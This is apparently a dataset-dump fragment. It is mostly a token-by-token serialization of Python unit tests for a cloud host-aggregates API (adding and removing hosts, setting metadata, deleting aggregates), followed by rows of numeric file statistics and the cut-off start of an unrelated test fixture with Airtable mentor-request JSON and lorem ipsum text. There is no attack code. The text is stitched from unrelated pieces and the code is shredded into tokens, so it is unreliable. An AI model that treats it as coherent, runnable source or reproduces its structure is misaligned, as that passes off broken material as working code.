nl|'\n'
name|'eval'
op|'('
name|'self'
op|'.'
name|'remove_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'user_req'
op|','
string|'"1"'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"remove_host"'
op|':'
op|'{'
string|'"host"'
op|':'
string|'"host1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_remove_host_with_bad_aggregate
dedent|''
name|'def'
name|'test_remove_host_with_bad_aggregate'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_remove_host_from_aggregate
indent|' '
name|'def'
name|'stub_remove_host_from_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'host'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'AggregateNotFound'
op|'('
name|'aggregate_id'
op|'='
name|'aggregate'
op|')'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
nl|'\n'
string|'"remove_host_from_aggregate"'
op|','
nl|'\n'
name|'stub_remove_host_from_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPNotFound'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'remove_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"bogus_aggregate"'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"remove_host"'
op|':'
op|'{'
string|'"host"'
op|':'
string|'"host1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_remove_host_with_host_not_in_aggregate
dedent|''
name|'def'
name|'test_remove_host_with_host_not_in_aggregate'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_remove_host_from_aggregate
indent|' '
name|'def'
name|'stub_remove_host_from_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'host'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'AggregateHostNotFound'
op|'('
name|'aggregate_id'
op|'='
name|'aggregate'
op|','
nl|'\n'
name|'host'
op|'='
name|'host'
op|')'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
nl|'\n'
string|'"remove_host_from_aggregate"'
op|','
nl|'\n'
name|'stub_remove_host_from_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPNotFound'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'remove_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"remove_host"'
op|':'
op|'{'
string|'"host"'
op|':'
string|'"host1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_remove_host_with_bad_host
dedent|''
name|'def'
name|'test_remove_host_with_bad_host'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_remove_host_from_aggregate
indent|' '
name|'def'
name|'stub_remove_host_from_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'host'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'ComputeHostNotFound'
op|'('
name|'host'
op|'='
name|'host'
op|')'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
nl|'\n'
string|'"remove_host_from_aggregate"'
op|','
nl|'\n'
name|'stub_remove_host_from_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPNotFound'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'remove_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
op|'{'
string|'"remove_host"'
op|':'
op|'{'
string|'"host"'
op|':'
string|'"bogushost"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_remove_host_with_missing_host
dedent|''
name|'def'
name|'test_remove_host_with_missing_host'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'remove_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
op|'{'
string|'"asdf"'
op|':'
string|'"asdf"'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_remove_host_with_multiple_hosts
dedent|''
name|'def'
name|'test_remove_host_with_multiple_hosts'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'remove_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
op|'{'
string|'"remove_host"'
op|':'
op|'{'
string|'"host"'
op|':'
nl|'\n'
op|'['
string|'"host1"'
op|','
string|'"host2"'
op|']'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_remove_host_with_extra_param
dedent|''
name|'def'
name|'test_remove_host_with_extra_param'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'remove_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
op|'{'
string|'"remove_host"'
op|':'
op|'{'
string|'"asdf"'
op|':'
string|'"asdf"'
op|','
nl|'\n'
string|'"host"'
op|':'
string|'"asdf"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_remove_host_with_invalid_request
dedent|''
name|'def'
name|'test_remove_host_with_invalid_request'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
nl|'\n'
name|'eval'
op|'('
name|'self'
op|'.'
name|'remove_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
op|'{'
string|'"remove_host"'
op|':'
string|'"1"'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_remove_host_with_missing_host_empty
dedent|''
name|'def'
name|'test_remove_host_with_missing_host_empty'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
nl|'\n'
name|'eval'
op|'('
name|'self'
op|'.'
name|'remove_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
op|'{'
string|'"remove_host"'
op|':'
op|'{'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_set_metadata
dedent|''
name|'def'
name|'test_set_metadata'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"set_metadata"'
op|':'
op|'{'
string|'"metadata"'
op|':'
op|'{'
string|'"foo"'
op|':'
string|'"bar"'
op|'}'
op|'}'
op|'}'
newline|'\n'
nl|'\n'
DECL|function|stub_update_aggregate
name|'def'
name|'stub_update_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'values'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'context'
op|','
name|'self'
op|'.'
name|'context'
op|','
string|'"context"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|'"1"'
op|','
name|'aggregate'
op|','
string|'"aggregate"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertThat'
op|'('
name|'body'
op|'['
string|'"set_metadata"'
op|']'
op|'['
string|"'metadata'"
op|']'
op|','
nl|'\n'
name|'matchers'
op|'.'
name|'DictMatches'
op|'('
name|'values'
op|')'
op|')'
newline|'\n'
name|'return'
name|'AGGREGATE'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
nl|'\n'
string|'"update_aggregate_metadata"'
op|','
nl|'\n'
name|'stub_update_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'result'
op|'='
name|'eval'
op|'('
name|'self'
op|'.'
name|'set_metadata'
op|')'
op|'('
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
name|'result'
op|'='
name|'_transform_aggregate_az'
op|'('
name|'result'
op|'['
string|"'aggregate'"
op|']'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'_assert_agg_data'
op|'('
name|'AGGREGATE'
op|','
name|'_make_agg_obj'
op|'('
name|'result'
op|')'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_set_metadata_delete
dedent|''
name|'def'
name|'test_set_metadata_delete'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"set_metadata"'
op|':'
op|'{'
string|'"metadata"'
op|':'
op|'{'
string|'"foo"'
op|':'
name|'None'
op|'}'
op|'}'
op|'}'
newline|'\n'
nl|'\n'
name|'with'
name|'mock'
op|'.'
name|'patch'
op|'.'
name|'object'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
nl|'\n'
string|"'update_aggregate_metadata'"
op|')'
name|'as'
name|'mocked'
op|':'
newline|'\n'
indent|' '
name|'mocked'
op|'.'
name|'return_value'
op|'='
name|'AGGREGATE'
newline|'\n'
name|'result'
op|'='
name|'eval'
op|'('
name|'self'
op|'.'
name|'set_metadata'
op|')'
op|'('
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
dedent|''
name|'result'
op|'='
name|'_transform_aggregate_az'
op|'('
name|'result'
op|'['
string|"'aggregate'"
op|']'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'_assert_agg_data'
op|'('
name|'AGGREGATE'
op|','
name|'_make_agg_obj'
op|'('
name|'result'
op|')'
op|')'
newline|'\n'
name|'mocked'
op|'.'
name|'assert_called_once_with'
op|'('
name|'self'
op|'.'
name|'context'
op|','
string|'"1"'
op|','
nl|'\n'
name|'body'
op|'['
string|'"set_metadata"'
op|']'
op|'['
string|'"metadata"'
op|']'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_set_metadata_no_admin
dedent|''
name|'def'
name|'test_set_metadata_no_admin'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exception'
op|'.'
name|'PolicyNotAuthorized'
op|','
nl|'\n'
name|'eval'
op|'('
name|'self'
op|'.'
name|'set_metadata'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'user_req'
op|','
string|'"1"'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"set_metadata"'
op|':'
op|'{'
string|'"metadata"'
op|':'
nl|'\n'
op|'{'
string|'"foo"'
op|':'
string|'"bar"'
op|'}'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_set_metadata_with_bad_aggregate
dedent|''
name|'def'
name|'test_set_metadata_with_bad_aggregate'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"set_metadata"'
op|':'
op|'{'
string|'"metadata"'
op|':'
op|'{'
string|'"foo"'
op|':'
string|'"bar"'
op|'}'
op|'}'
op|'}'
newline|'\n'
nl|'\n'
DECL|function|stub_update_aggregate
name|'def'
name|'stub_update_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'metadata'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'AggregateNotFound'
op|'('
name|'aggregate_id'
op|'='
name|'aggregate'
op|')'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
nl|'\n'
string|'"update_aggregate_metadata"'
op|','
nl|'\n'
name|'stub_update_aggregate'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPNotFound'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'set_metadata'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"bad_aggregate"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_set_metadata_with_missing_metadata
dedent|''
name|'def'
name|'test_set_metadata_with_missing_metadata'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"asdf"'
op|':'
op|'{'
string|'"foo"'
op|':'
string|'"bar"'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'set_metadata'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_set_metadata_with_extra_params
dedent|''
name|'def'
name|'test_set_metadata_with_extra_params'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"metadata"'
op|':'
op|'{'
string|'"foo"'
op|':'
string|'"bar"'
op|'}'
op|','
string|'"asdf"'
op|':'
op|'{'
string|'"foo"'
op|':'
string|'"bar"'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'set_metadata'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_set_metadata_without_dict
dedent|''
name|'def'
name|'test_set_metadata_without_dict'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"set_metadata"'
op|':'
op|'{'
string|"'metadata'"
op|':'
number|'1'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'set_metadata'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_set_metadata_with_empty_key
dedent|''
name|'def'
name|'test_set_metadata_with_empty_key'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"set_metadata"'
op|':'
op|'{'
string|'"metadata"'
op|':'
op|'{'
string|'""'
op|':'
string|'"value"'
op|'}'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'set_metadata'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_set_metadata_with_key_too_long
dedent|''
name|'def'
name|'test_set_metadata_with_key_too_long'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"set_metadata"'
op|':'
op|'{'
string|'"metadata"'
op|':'
op|'{'
string|'"x"'
op|'*'
number|'256'
op|':'
string|'"value"'
op|'}'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'set_metadata'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_set_metadata_with_value_too_long
dedent|''
name|'def'
name|'test_set_metadata_with_value_too_long'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"set_metadata"'
op|':'
op|'{'
string|'"metadata"'
op|':'
op|'{'
string|'"key"'
op|':'
string|'"x"'
op|'*'
number|'256'
op|'}'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'set_metadata'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_set_metadata_with_string
dedent|''
name|'def'
name|'test_set_metadata_with_string'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"set_metadata"'
op|':'
op|'{'
string|'"metadata"'
op|':'
string|'"test"'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'set_metadata'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_delete_aggregate
dedent|''
name|'def'
name|'test_delete_aggregate'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_delete_aggregate
indent|' '
name|'def'
name|'stub_delete_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'context'
op|','
name|'self'
op|'.'
name|'context'
op|','
string|'"context"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|'"1"'
op|','
name|'aggregate'
op|','
string|'"aggregate"'
op|')'
newline|'\n'
name|'stub_delete_aggregate'
op|'.'
name|'called'
op|'='
name|'True'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"delete_aggregate"'
op|','
nl|'\n'
name|'stub_delete_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'delete'
op|'('
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertTrue'
op|'('
name|'stub_delete_aggregate'
op|'.'
name|'called'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_delete_aggregate_no_admin
dedent|''
name|'def'
name|'test_delete_aggregate_no_admin'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exception'
op|'.'
name|'PolicyNotAuthorized'
op|','
nl|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'delete'
op|','
nl|'\n'
name|'self'
op|'.'
name|'user_req'
op|','
string|'"1"'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_delete_aggregate_with_bad_aggregate
dedent|''
name|'def'
name|'test_delete_aggregate_with_bad_aggregate'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_delete_aggregate
indent|' '
name|'def'
name|'stub_delete_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'AggregateNotFound'
op|'('
name|'aggregate_id'
op|'='
name|'aggregate'
op|')'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"delete_aggregate"'
op|','
nl|'\n'
name|'stub_delete_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPNotFound'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'delete'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"bogus_aggregate"'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_delete_aggregate_with_host
dedent|''
name|'def'
name|'test_delete_aggregate_with_host'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'with'
name|'mock'
op|'.'
name|'patch'
op|'.'
name|'object'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"delete_aggregate"'
op|','
nl|'\n'
name|'side_effect'
op|'='
name|'exception'
op|'.'
name|'InvalidAggregateAction'
op|'('
nl|'\n'
name|'action'
op|'='
string|'"delete"'
op|','
name|'aggregate_id'
op|'='
string|'"agg1"'
op|','
nl|'\n'
name|'reason'
op|'='
string|'"not empty"'
op|')'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPBadRequest'
op|','
nl|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'delete'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"agg1"'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_marshall_aggregate
dedent|''
dedent|''
name|'def'
name|'test_marshall_aggregate'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
comment|'# _marshall_aggregate() just basically turns the aggregate returned'
nl|'\n'
comment|'# from the AggregateAPI into a dict, so this tests that transform.'
nl|'\n'
comment|'# We would expect the dictionary that comes out is the same one'
nl|'\n'
comment|'# that we pump into the aggregate object in the first place'
nl|'\n'
indent|' '
name|'agg'
op|'='
op|'{'
string|"'name'"
op|':'
string|"'aggregate1'"
op|','
nl|'\n'
string|"'id'"
op|':'
number|'1'
op|','
string|"'uuid'"
op|':'
name|'uuidsentinel'
op|'.'
name|'aggregate'
op|','
nl|'\n'
string|"'metadata'"
op|':'
op|'{'
string|"'foo'"
op|':'
string|"'bar'"
op|','
string|"'availability_zone'"
op|':'
string|"'nova'"
op|'}'
op|','
nl|'\n'
string|"'hosts'"
op|':'
op|'['
string|"'host1'"
op|','
string|"'host2'"
op|']'
op|'}'
newline|'\n'
name|'agg_obj'
op|'='
name|'_make_agg_obj'
op|'('
name|'agg'
op|')'
newline|'\n'
name|'marshalled_agg'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'_marshall_aggregate'
op|'('
name|'agg_obj'
op|')'
newline|'\n'
nl|'\n'
comment|'# _marshall_aggregate() puts all fields and obj_extra_fields in the'
nl|'\n'
comment|'# top-level dict, so we need to put availability_zone at the top also'
nl|'\n'
name|'agg'
op|'['
string|"'availability_zone'"
op|']'
op|'='
string|"'nova'"
newline|'\n'
name|'del'
name|'agg'
op|'['
string|"'uuid'"
op|']'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'agg'
op|','
name|'marshalled_agg'
op|'['
string|"'aggregate'"
op|']'
op|')'
newline|'\n'
nl|'\n'
DECL|member|_assert_agg_data
dedent|''
name|'def'
name|'_assert_agg_data'
op|'('
name|'self'
op|','
name|'expected'
op|','
name|'actual'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertTrue'
op|'('
name|'obj_base'
op|'.'
name|'obj_equal_prims'
op|'('
name|'expected'
op|','
name|'actual'
op|')'
op|','
nl|'\n'
string|'"The aggregate objects were not equal"'
op|')'
newline|'\n'
dedent|''
dedent|''
endmarker|''
end_unit
| 12.380367
| 88
| 0.602714
| 11,040
| 75,545
| 3.997101
| 0.027355
| 0.157859
| 0.09835
| 0.113579
| 0.934259
| 0.91647
| 0.891837
| 0.865052
| 0.829133
| 0.795096
| 0
| 0.002437
| 0.098378
| 75,545
| 6,101
| 89
| 12.382396
| 0.645427
| 0
| 0
| 0.957876
| 0
| 0
| 0.345423
| 0.057462
| 0
| 0
| 0
| 0
| 0.016882
| 0
| null | null | 0
| 0.002131
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
e85a78dad13acdf51d8a12c88754ac3eebe065ac
| 9,206
|
py
|
Python
|
tests/handler_tests/airtable_request_events.py
|
OperationCode/operationcode_pyback
|
c4b8d466baaef16f005c35b290cb48e597a65a32
|
[
"MIT"
] | 16
|
2018-04-03T17:19:51.000Z
|
2020-09-12T16:00:43.000Z
|
tests/handler_tests/airtable_request_events.py
|
OperationCode/operation_code_pybot
|
c4b8d466baaef16f005c35b290cb48e597a65a32
|
[
"MIT"
] | 34
|
2017-10-31T15:53:15.000Z
|
2018-03-02T17:24:13.000Z
|
tests/handler_tests/airtable_request_events.py
|
OperationCode/operationcode_pyback
|
c4b8d466baaef16f005c35b290cb48e597a65a32
|
[
"MIT"
] | 10
|
2018-03-24T01:58:06.000Z
|
2021-01-21T06:50:54.000Z
|
NEW_AIRTABLE_REQUEST_JSON = {
"Skillsets": "C / C++,Web (Frontend Development),Mobile (iOS),Java,DevOps",
"Slack User": "ic4rusX",
"Details": " Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin blandit porttitor nulla eu consectetur."
" Maecenas consectetur erat at odio iaculis, ac auctor nunc imperdiet. Sed neque quam, cursus eget nunc"
" et, viverra gravida justo. Vivamus pharetra magna vel leo rutrum imperdiet. Vestibulum tempus non leo"
" vestibulum iaculis. Ut nec lacinia elit, viverra vulputate tortor. Phasellus eu luctus odio."
" Vestibulum accumsan est sed metus dignissim, quis sollicitudin diam posuere. Duis ullamcorper"
" ante vel vulputate semper. Aliquam viverra, lorem sit amet tristique consequat, velit tortor"
" lacinia sem, sed placerat nisi sapien rutrum lacus. Mauris vehicula purus mi. Integer feugiat "
"consectetur elit, ac interdum turpis condimentum ut. Pellentesque sollicitudin est nunc, non accumsan"
" metus laoreet nec.\n\nPellentesque rhoncus iaculis felis. Donec efficitur bibendum arcu, sed varius "
"orci bibendum nec. Morbi laoreet nunc nec urna pharetra viverra. Nulla vel magna ex. Fusce semper nisl"
" commodo nulla tempus, nec aliquam libero bibendum. Proin eleifend odio nec augue facilisis, nec"
" faucibus tortor venenatis. Pellentesque pulvinar erat nec justo bibendum blandit.\n\nDonec ut libero"
" a ex posuere euismod. Cras vitae turpis sit amet magna egestas vehicula. Maecenas interdum commodo"
" quam, vitae ornare mauris viverra vel. In vestibulum enim pulvinar, pharetra augue a, tempor felis."
" Proin vel cursus tellus. Quisque eget mauris neque. Cras eu pharetra leo. Nam nulla tortor, imperdiet"
" sit amet dictum eu, mollis id ante. ",
"Service": "recry8s14qGJhHeOC",
"Email": "ic4rusX@gmail.com",
"Record": "someRecId'"
}
USER_ID_FROM_EMAIL_RESPONSE = {'ok': True, 'user': {'id': 'AGF2354'}}
SLACK_USER_ID = "<@AGF2354>"
TEXT_DICT_MATCHES = f"Mentors matching all or some of the requested skillsets: {SLACK_USER_ID}"
TEXT_DICT_MESSAGE = f"User {SLACK_USER_ID} has requested a mentor for General Guidance - Slack Chat Given Skillset(s): C / " \
"C++,Web (Frontend Development),Mobile (iOS),Java,DevOps View requests: " \
"<https://airtable.com/tbl9uQEE8VeMdNCey/viwYzYa4J9aytVB4B|Airtable> Please reply to the channel " \
"if you'd like to be assigned to this request."
TEXT_DICT_DETAILS = 'Additional details: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin blandit ' \
'porttitor nulla eu consectetur. Maecenas consectetur erat at odio iaculis, ac auctor nunc ' \
'imperdiet. Sed neque quam, cursus eget nunc et, viverra gravida justo. Vivamus pharetra magna ' \
'vel leo rutrum imperdiet. Vestibulum tempus non leo vestibulum iaculis. Ut nec lacinia elit, ' \
'viverra vulputate tortor. Phasellus eu luctus odio. Vestibulum accumsan est sed metus dignissim, ' \
'quis sollicitudin diam posuere. Duis ullamcorper ante vel vulputate semper. Aliquam viverra, ' \
'lorem sit amet tristique consequat, velit tortor lacinia sem, sed placerat nisi sapien rutrum ' \
'lacus. Mauris vehicula purus mi. Integer feugiat consectetur elit, ac interdum turpis ' \
'condimentum ut. Pellentesque sollicitudin est nunc, non accumsan metus laoreet nec. Pellentesque ' \
